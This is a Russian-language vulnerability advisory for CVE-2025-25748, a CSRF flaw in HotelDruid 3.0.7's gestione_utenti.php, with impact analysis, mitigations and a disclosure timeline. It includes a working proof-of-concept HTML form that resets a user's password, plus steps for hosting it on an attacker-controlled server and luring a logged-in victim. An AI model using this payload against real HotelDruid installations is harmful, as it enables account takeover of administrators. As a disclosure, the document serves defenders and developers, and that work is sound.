CVE-2025-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7
Описание
Уязвимость межсайтовой подделки запросов (CSRF) в конечной точке gestione_utenti.php HotelDruid 3.0.7 позволяет злоумышленникам выполнять несанкционированные действия (например, изменять пароли пользователей) от имени аутентифицированных пользователей, используя отсутствие проверки заголовков Origin и Referer, а также отсутствие CSRF-токенов.
Воздействие
- Несанкционированное изменение паролей: Злоумышленники могут перезаписывать пароли пользователей, что приводит к полному захвату учётной записи.
- Использование сессии (Session Riding): Злоумышленник может использовать активную сессию жертвы для внесения несанкционированных административных изменений.
- Риск утечки данных: Если административные учётные записи будут скомпрометированы, конфиденциальные пользовательские и операционные данные могут быть раскрыты или изменены.
Эта уязвимость делает все учётные записи — включая административные — уязвимыми для несанкционированных изменений без согласия пользователя.
Подтверждение концепции (PoC)
PoC HTML-форма
Следующая вредоносная форма демонстрирует, как злоумышленник может заставить вошедшего в систему администратора изменить пароль пользователя с ID 2 на maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
Размещение и запуск атаки
Сохраните приведённый выше код как csrf_attack.html.
Разместите его с помощью Python (сервер, контролируемый злоумышленником):
python3 -m http.server 8080
Направьте жертву на:
http://<attacker-ip>:8080/csrf_attack.html
После отправки форма передаёт запрос в HotelDruid, изменяя пароль пользователя с ID 2 на maliciouspassword с использованием активной сессии жертвы.
Анализ
Общие сведения
HotelDruid — это широко используемая open-source система управления недвижимостью для отелей и аренды жилья для отпуска. Будучи многопользовательской системой с административными средствами управления пользователями, она должна гарантировать, что только авторизованные пользователи могут изменять учётные данные; это критически важно для общей безопасности системы.
Уязвимости CSRF используют доверие, которое сервер оказывает сессии браузера пользователя. Если жертва вошла в систему и посещает вредоносную страницу, эта страница может незаметно отправлять несанкционированные запросы уязвимому приложению, используя активную сессию жертвы. В HotelDruid отсутствие CSRF-защиты для критически важных действий — таких как изменение паролей пользователей — позволяет злоумышленникам полностью скомпрометировать учётные записи без какого-либо взаимодействия с пользователем, помимо перехода по вредоносной ссылке.
Сведения об уязвимости
Затронутая конечная точка
Затронутые параметры
modifica_pass
id_utente_pass
prima_pass
seconda_pass
Первопричина
- В форме отсутствует анти-CSRF токен, и он не проверяется на стороне сервера.
- Не выполняется проверка заголовков
Origin или Referer.
- Приложение слепо доверяет входящим POST-запросам, включая те, которые поступают с внешних сайтов.
Схема эксплуатации
- Злоумышленник подготавливает вредоносную HTML-форму с предварительно заполненными скрытыми полями, нацеленную на
gestione_utenti.php.
- Злоумышленник обманом заставляет вошедшего в систему пользователя HotelDruid (например, администратора) посетить вредоносную страницу.
- При посещении страницы форма автоматически отправляется, передавая валидный запрос на изменение пароля пользователя на значение, контролируемое злоумышленником.
- Сессия жертвы используется для авторизации запроса без её ведома и согласия.
Воздействие
- Захват учётной записи: Пароль любого пользователя (включая учётные записи администраторов) может быть изменён без его ведома, что даёт злоумышленнику полный доступ.
- Повышение привилегий: Злоумышленники могут повысить привилегии, если сначала скомпрометируют учётную запись пользователя с низким уровнем доступа, а затем, используя административные действия, получат доступ к другим учётным записям.
- Риски для целостности данных: Злоумышленники могут изменять учётные записи пользователей, что потенциально может привести к блокировке легитимных пользователей или созданию бэкдор-доступа.
Смягчение последствий / Исправление
Рекомендации для разработчиков
Анти-CSRF токены
- Внедряйте и применяйте уникальные анти-CSRF токены для всех форм и запросов, изменяющих состояние.
- Проверяйте токены на стороне сервера перед обработкой запросов.
Проверка заголовков Referer/Origin
- Проверяйте заголовки
Referer и Origin, чтобы гарантировать, что запросы поступают из доверенных источников.
Ограничение чувствительных операций через GET-запросы
- Изменение паролей и аналогичные действия должны быть ограничены только POST-запросами.
- Избегайте передачи чувствительных данных сессии (например,
id_sessione) в URL.
Улучшение управления сессиями
- Повторно генерируйте токены сессии после входа в систему.
- Привязывайте токены сессии к IP-адресам или отпечаткам браузера там, где это возможно.
Уведомление пользователей
- Уведомляйте пользователей (по электронной почте или через оповещение в приложении) о совершении чувствительных действий, таких как изменение пароля.
Хронология и авторы
- Дата обнаружения: 16 января 2025 г.
- Уведомление поставщика: 17 января 2025 г.
- Назначение CVE от MITRE: CVE-2025-25748, 27 февраля 2025 г.
- Публичное раскрытие: 7 марта 2025 г.
- Исследователь: Huy Vo (исследователь в области безопасности)